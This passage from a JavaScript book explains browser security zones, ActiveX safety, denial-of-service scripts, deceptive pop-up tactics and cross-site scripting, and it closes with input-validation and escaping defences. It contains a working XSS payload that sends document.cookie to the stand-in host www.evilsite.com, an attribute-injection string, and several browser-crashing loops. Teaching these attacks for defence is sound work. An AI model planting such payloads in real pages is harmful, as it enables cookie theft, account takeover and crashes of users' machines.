Security Zones in Internet Explorer
Internet Explorer 4 and later support similarly configurable security policies for different
Web sites, but permit less control than Mozilla. Sites are categorized into one of five groups
(known as zones to IE):
Local Intranet Pages fetched from local servers, generally inside your company’s
firewall.
Trusted Sites Sites you’re willing to grant extended capabilities to.
Internet The default zone for all pages fetched from the Web.
Restricted Sites Sites you specifically indicate as untrustworthy.
Local Machine Pages loaded from your hard disk. This zone is implicit, meaning
you can’t configure it manually. Content loaded from disk always runs with
extended privileges.
You can manage which sites appear in which zones by selecting Tools | Internet Options in
Internet Explorer, and selecting the Security tab. Click the Sites button shown in
Figure 22-2
to add or remove sites from each zone.
Each zone has an associated security policy governing what sites falling into the zone
can do. Internet Explorer has default security settings for each zone but also allows users
to customize the settings. The default settings are called templates, and are known (from
least secure to most paranoid) as Low, Medium-Low, Medium, and High. You can see in
Figure 22-3 that the default setting for the Trusted Sites
zone in Internet Explorer 6 is Low.
Clicking the Custom Level button (shown in Figure 22-3) for each security zone enables
you to configure specific capabilities that sites in that zone have. Figure 22-4 shows a sample
of these options. Although a complete discussion of each option is outside the scope of this
book, an awareness of those that apply to scriptable ActiveX controls can be useful. For a
more complete introduction to IE’s security zones, see
http://msdn.microsoft.com/library/default.asp?url=/workshop/security/szone/overview/overview.asp.
ActiveX Controls
The primary policy items affecting ActiveX controls in Internet Explorer are found in
Table 22-3. An entry of "Query" indicates that the user is prompted whether to permit
the action in question.
NOTE: Some early versions of Internet Explorer do not have the Medium-Low security template.
In these browsers, the Low template is applied to sites in the Local Intranet zone.
Careful inspection of Table 22-3 reveals what you must do to install and access ActiveX
controls from JavaScript. First, note that only with the Low setting can unsigned ActiveX
controls be installed, and only then after prompting the user for confirmation. A signed
ActiveX control is similar to a signed JavaScript in the Mozilla browsers, except that the
code being signed is executable, not script. This means that you need to configure your
users’ browser to have your site in the Trusted Sites zone if your control is unsigned.
A better approach is to sign your controls. For details on signing controls with Microsoft
Authenticode technology, see
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/topics/secapps/Authcode.asp. Similarly, if you wish to install a control
without annoying the user with a confirmation dialog box, your site must be in the user’s
Trusted Sites zone.
The column of Table 22-3 indicating whether "safe" ActiveX controls may be controlled
with JavaScript deserves additional discussion. Developers of ActiveX controls indicate
whether or not a particular ActiveX object is safe, that is, whether controlling it from JavaScript
could result in malicious behavior. For example, the FileSystemObject has the ability to
read and write to the local filesystem. Malicious script that could instantiate this control
could use it to wreak havoc on a user’s system. For this reason, the control is not marked
safe. It therefore cannot be controlled by script downloaded from the Web. On the other
hand, the ActiveX control that plays Flash animations has only benign capabilities: start
playback, stop, rewind, and so forth. It is therefore marked as "safe" and can be
controlled by script.
If you’re having trouble controlling an ActiveX object from JavaScript, double-check
that it is marked "safe." For details on how to do this, and more information on the security
implications of ActiveX controls, see the following sites:
JavaScript has a long and inglorious history of atrocious security holes. Unconvinced? Fire
up your favorite browser, head to your favorite search engine, and search for "JavaScript
vulnerability"—you should find tens of thousands of results. Of course, this is not an
indication of the exact number of security holes in browsers, but it does give a rough idea
of the magnitude of the problem. Such vulnerabilities range from relatively harmless
oversights to serious holes that permit access to local files, cookies, or network capabilities.
But security problems with JavaScript are not limited to implementation errors. There
are numerous ways in which scripts can affect the user’s execution environment without
violating any security policies.
Bombing Browsers with JavaScript
The amount of resources a browser is granted on the client machine is largely a function of
its operating system. Unfortunately, many operating systems (including Windows 95 and
98) will continue to allocate CPU cycles and memory beyond what may be reasonable for
the application. It is all too easy to write JavaScript that will crash the browser, both by
design and by accident.
The content of the next several sections is designed to illustrate some of the main
problems browsers have with denial-of-service attacks, with the "service" in this case
being access to an operating system that behaves normally. The results will vary from
platform to platform, but running any one of these scripts has the potential to crash not
only the browser but also your operating system itself.
Infinite Loops
By far the most simplistic (and obvious) way to cause unwanted side effects is to enter an
infinite loop, a loop whose exit condition is never fulfilled. Some modern browsers will catch
and halt the execution of the most obvious, but seldom would they stop something like this:
function tag()
{
you_are_it();
}
function you_are_it()
{
tag();
}
tag();
Infinite loops can arise in a variety of ways but are often unstoppable once they have
begun. While most infinite loops eat up cycles performing the same work over and over,
some, like the preceding one, have a voracious appetite for memory.
Memory Hogs
One of the easiest ways to crash a browser is to eat up all the available memory. For
example, the infamous doubling string grows exponentially in size, crashing many
browsers within seconds:
var adiosAmigo = "Sayanora, sucker.";
while (true)
adiosAmigo += adiosAmigo;
You can also fill up the memory that the operating system has available to keep track
of recursive function calls. On many systems, invoking the following code will result in a
"stack overflow" or similar panic condition:
function recurse()
{
var x = 1;
// you can fill up extra space with data which must be pushed
// on the stack but mostly we just want to call the function
// recursively
recurse();
}
You can even try writing self-replicating code to eat up browser memory by placing the
following in a <script> in the document <head>:
function doitagain()
{
document.write("<scrip" + "t>doitagain()</scrip"+"t>");
}
doitagain();
Using the Browser’s Functionality
A popular variation on the theme is a script that writes <frameset> elements referencing
itself, thereby creating an infinite recursion of document fetches. This prevents any user
action because the browser is too busy fetching pages to field user interface events.
Similarly, you can open up an endless series of dialog boxes:
function askmeagain()
{
alert("Ouch!");
askmeagain();
}
or continually call window.open() until the client’s resources are exhausted.
Deceptive Practices
The ease with which developers can send browsers to the grave is only the tip of the iceberg.
Often, deceptive programming tactics are employed to trick or annoy users in one way or
another. One of the most common approaches is to create a small, minimized window and
immediately send it to the background by bringing the original window into focus(). The
secondary window then sets an interval timer that spawns pop-up ads on a regular basis. The
secondary window comes equipped with an event handler that will blur() it when it receives
focus and an onunload handler to respawn it in the unlikely event that the user can actually
close it.
In Chapter 21, we briefly discussed a technology found in Internet Explorer 5+ known as
DHTML Behaviors. Behaviors have very powerful capabilities, including the ability to modify
browser settings. The simplest example of deceptive use of DHTML Behaviors is attempting
to trick a user into changing the default home page of his/her browser:
<a onclick"this.style.behavior'url(#default#homepage)';
this.setHomePage ('http://www.example.com')" href="">
Click here to see our list of products!
</a>
Often sites will pop up windows or dialog boxes disguised to look like alerts from the
operating system. When clicked or given data, they exhibit all manner of behavior, from
initiating downloads of hostile ActiveX controls to stealing passwords. Typically, these
windows are created without browser chrome and when created skillfully are nearly
indistinguishable from real Windows dialog boxes. Some researchers have shown how to
carry out even more clever attacks with chromeless windows. A carefully created window
can be positioned so as to perfectly cover the browser’s Address bar, making it appear
as if the user is in fact viewing a different site. Another demonstration showed how a tiny
window containing IE’s padlock icon could be placed over the browser status bar to make it
appear as if the user is accessing the site securely. Major threats also come from developers
who have found ways to create windows that cannot be closed, or that appear offscreen
so as to not be noticed. When combined with the disabling of the page’s context menu,
vulnerability sniffing routines, and a pop-up ad generator, such a window can be exceedingly
dangerous, not to mention unbelievably annoying. Variations include having a window
attempt to imitate a user’s desktop and always stay raised, tiling the desktop with a quilt
of banner ads covering all usable space, or the ever popular spawning window game that
annoys unsuspecting users by creating more windows mysteriously from offscreen or
hidden windows.
CROSS-SITE SCRIPTING
Not all security problems related to JavaScript are the fault of the browser. Sometimes the
creator of a Web application is to blame. Consider a site that accepts a user name in form
input and then displays it in the page. Entering the name "Fred" and clicking Submit might
result in loading a URL like http://www.example.com/mycgi?username=Fred, and the
following snippet of HTML to appear in the resulting page:
Hello, <b>Fred</b>!
But what happens if someone can get you to click on a link to
http://www.example.com/mycgi?username=Fred<script>alert(‘Uh oh’);</script>? The CGI might write the following
HTML into the resulting page:
The script passed in through the username URL parameter was written directly into the
page, and its JavaScript is executed as normal.
This exceedingly undesirable behavior is known as cross-site scripting (commonly referred
to as XSS). It allows JavaScript created by attackers to be "injected" into pages on your site.
The previous example was relatively benign, but the URL could easily have contained more
malicious script. For example, consider the following URL:
First, note that potentially problematic characters such as <, :, and ? have been URL encoded
so as not to confuse the browser. Now consider the resulting HTML that would be written
into the page:
Hello, <b>Fritz <script>
(new Image).src='http://www.evilsite.com/?stolencookie='+
escape(document.cookie);
</script></b>
This script causes the browser to try to load an image from www.evilsite.com, and includes
in the URL any cookies the user has for the current site (www.example.com). The fact that
this image doesn’t exist is not important; the user won’t see it anyway. What is important is
to notice that the attacker presumably runs www.evilsite.com, and now only has to look
through his logs in order to find cookies that have been stolen from unsuspecting users.
Since most sites store login information in cookies, this could potentially let the attacker
log in with his victims’ identities.
Cross-site scripting attacks aren’t limited to stealing cookies. Anything undesirable that
is prevented by the same origin policy could happen. For example, the script could just as
easily have snooped on the user’s keypresses and sent them to www.evilsite.com. The same
origin policy doesn’t apply here: the browser has no way of knowing that www.example.com
didn’t intend for the script to appear in the page.
Preventing Cross-Site Scripting
You should use a two-pronged approach to preventing cross-site scripting attacks. The first tenet
is to always positively validate user input at the server (i.e., in your CGI, PHP, and so on). You
should check submitted form values against regular expressions that are known to be "good"
(or use equivalent logic to make the determination). This is as opposed to checking values
for undesirable characters, which we term "negative" validation. For example, if usernames
are supposed to be alphanumeric characters, ensure that inputs match a regular expression
such as ^[a-zA-Z0-9]+$ instead of looking for potentially problematic non-alphanumeric
characters. Positive matching is superior to negative matching because there’s no opportunity
to make a mistake by forgetting to search for a particular "bad" character.
The second approach is to always HTML-escape data before writing it into a Web page.
HTML-escaping replaces meaningful HTML characters such as < and > with their entity
equivalents, in this case < and >. Doing so ensures that even if malicious input makes it
past your input validation code, it will be rendered harmless when written into the page.
Note that how data must be escaped to be safe for output (termed output sanitization)
depends on how it is written into the page. For example, if the user passes in a URL to be
written into an <iframe>:
<iframe src=" VALUEGOESHERE"> </iframe>
An attacker could pass in http://somelegitsite.com"%20onload="evilJSFunction()" as the
URL (%20 is a space). This would be decoded and inserted into the page, resulting in:
Merely escaping < and > is not sufficient; you need to be aware of the context of output as
well. A policy of escaping &, <, >, and parentheses, as well as single and double quotes, is
often the best way to go.
Output sanitization can be tricky, and requires an in-depth knowledge of HTML, CSS,
JavaScript, and proprietary browser technologies to be effective. Readers interested in
learning more about cross-site scripting and Web application security in general might
benefit from reading the Open Web Application Security Project (OWASP) Guide, currently
found at http://www.owasp.org/documentation/guide.
SUMMARY
The JavaScript security model is based on a sandbox approach where scripts run in a
restricted execution environment without access to local file systems, user data, or network
capabilities. The same-origin policy prevents scripts from one site from reading properties of
windows loaded from a different location. The signed script policy allows digitally signed
mobile code to request special privileges from the user. This technology guarantees code
authenticity and integrity, but it does not guarantee functionality or the absence of malicious
behavior. Both major browsers are capable of using signed code, but Internet Explorer
unfortunately does not support signed JavaScript. Yet even if perfectly implemented, many
users will refuse to grant signed script privileges out of well-founded security fears. As
a result, if employed, signed scripts should always be written in a defensive manner to
accommodate this possibility, and are probably best suited for intranet environments.
The sad reality is that JavaScript can be used to wreak havoc on the user’s browser and
operating system without even violating the security policies of the browser. Simple code that
eats up memory or other resources can quickly crash the browser and even the operating system
itself. Deceptive programming practices can be employed to annoy or trick the user into actions
they might not intend. Yet clean, careful coding does not solve all JavaScript security-related
problems.Web applications accepting user input need to be careful to properly validate such
data before accepting it, and to sanitize it before writing it into aWeb page. Failing to do so can
result in cross-site scripting vulnerabilities, which are as harmful as violations of the same origin
policy would be. Because of the range of potential problems, it is up to individual developers to
take the responsibility to write clean, careful code that improves the user experience and always
be on the lookout for malicious users trying to bypass their checks.